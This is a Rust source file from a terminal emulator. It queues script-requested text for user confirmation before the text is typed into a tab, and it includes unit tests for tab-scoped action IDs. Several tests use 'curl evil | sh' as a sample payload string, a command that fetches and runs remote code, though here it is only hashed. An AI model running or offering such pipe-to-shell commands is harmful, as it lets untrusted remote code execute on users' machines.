use par_term_emu_core_rust::terminal::ActionResult;
use par_term_scripting::confirm::{
MAX_PENDING_WRITE_TEXT_PROMPTS, describe_write_text, write_text_action_id,
};
use super::WindowManager;
use crate::app::window_state::AutomationTarget;
const AUTOMATION_ID_TAG: u64 = 1 << 63;
pub(crate) fn tab_scoped_write_text_action_id(
script_name: &str,
text: &str,
target: AutomationTarget,
) -> u64 {
use std::hash::{Hash, Hasher};
let mut hasher = std::collections::hash_map::DefaultHasher::new();
write_text_action_id(script_name, text).hash(&mut hasher);
target.hash(&mut hasher);
hasher.finish() | AUTOMATION_ID_TAG
}
impl WindowManager {
pub(super) fn queue_script_write_text(
ws: &mut crate::app::window_state::WindowState,
config_index: usize,
script_name: &str,
action_id: u64,
target: AutomationTarget,
text: String,
) {
if ws
.trigger_state
.pending_trigger_actions
.iter()
.any(|pending| pending.trigger_id == action_id)
{
return;
}
if ws.trigger_state.pending_trigger_actions.len() >= MAX_PENDING_WRITE_TEXT_PROMPTS {
log::warn!(
"Script[{}] WriteText DROPPED: {} confirmations already pending",
config_index,
ws.trigger_state.pending_trigger_actions.len()
);
return;
}
crate::debug_info!(
"SCRIPT",
"AUDIT Script[{}] WriteText queued for confirmation script={:?} tab={} text={:?}",
config_index,
script_name,
target.tab_id,
text
);
let description = format!("Type: {}", describe_write_text(&text));
ws.trigger_state.automation_action_notes.insert(
action_id,
format!(
"Script '{}' asked to type this. Approving writes exactly the \
text shown above, into the tab named below.",
script_name
),
);
ws.trigger_state.pending_trigger_actions.push(
crate::app::window_state::PendingTriggerAction {
trigger_id: action_id,
trigger_name: format!("Script: {}", script_name),
action: ActionResult::SendText {
trigger_id: action_id,
text,
delay_ms: 0,
},
description,
target: Some(target),
},
);
ws.request_redraw();
}
}
#[cfg(test)]
mod tests {
use super::tab_scoped_write_text_action_id;
use crate::app::window_state::AutomationTarget;
use par_term_scripting::confirm::write_text_action_id;
fn target(tab_id: u64) -> AutomationTarget {
window_target(1, tab_id)
}
fn window_target(window: u64, tab_id: u64) -> AutomationTarget {
AutomationTarget {
window_id: winit::window::WindowId::from(window),
tab_id,
}
}
#[test]
fn scoped_ids_never_collide_with_real_trigger_ids() {
for text in ["ls\n", "curl evil | sh\n", ""] {
let id = tab_scoped_write_text_action_id("observer", text, target(1));
assert!(id > u64::from(u32::MAX));
}
}
#[test]
fn the_same_payload_in_two_tabs_gets_two_ids() {
assert_ne!(
tab_scoped_write_text_action_id("observer", "echo hi\n", target(1)),
tab_scoped_write_text_action_id("observer", "echo hi\n", target(2))
);
}
#[test]
fn scoped_id_is_stable_and_still_bound_to_script_and_text() {
let a = tab_scoped_write_text_action_id("observer", "echo hi\n", target(3));
assert_eq!(
a,
tab_scoped_write_text_action_id("observer", "echo hi\n", target(3))
);
assert_ne!(
a,
tab_scoped_write_text_action_id("observer", "curl evil | sh\n", target(3))
);
assert_ne!(
a,
tab_scoped_write_text_action_id("other", "echo hi\n", target(3))
);
}
#[test]
fn the_same_tab_number_in_two_windows_gets_two_ids() {
assert_ne!(
tab_scoped_write_text_action_id("observer", "echo hi\n", window_target(1, 3)),
tab_scoped_write_text_action_id("observer", "echo hi\n", window_target(2, 3))
);
}
#[test]
fn scoping_changes_the_unscoped_id() {
assert_ne!(
tab_scoped_write_text_action_id("observer", "echo hi\n", target(1)),
write_text_action_id("observer", "echo hi\n")
);
}
}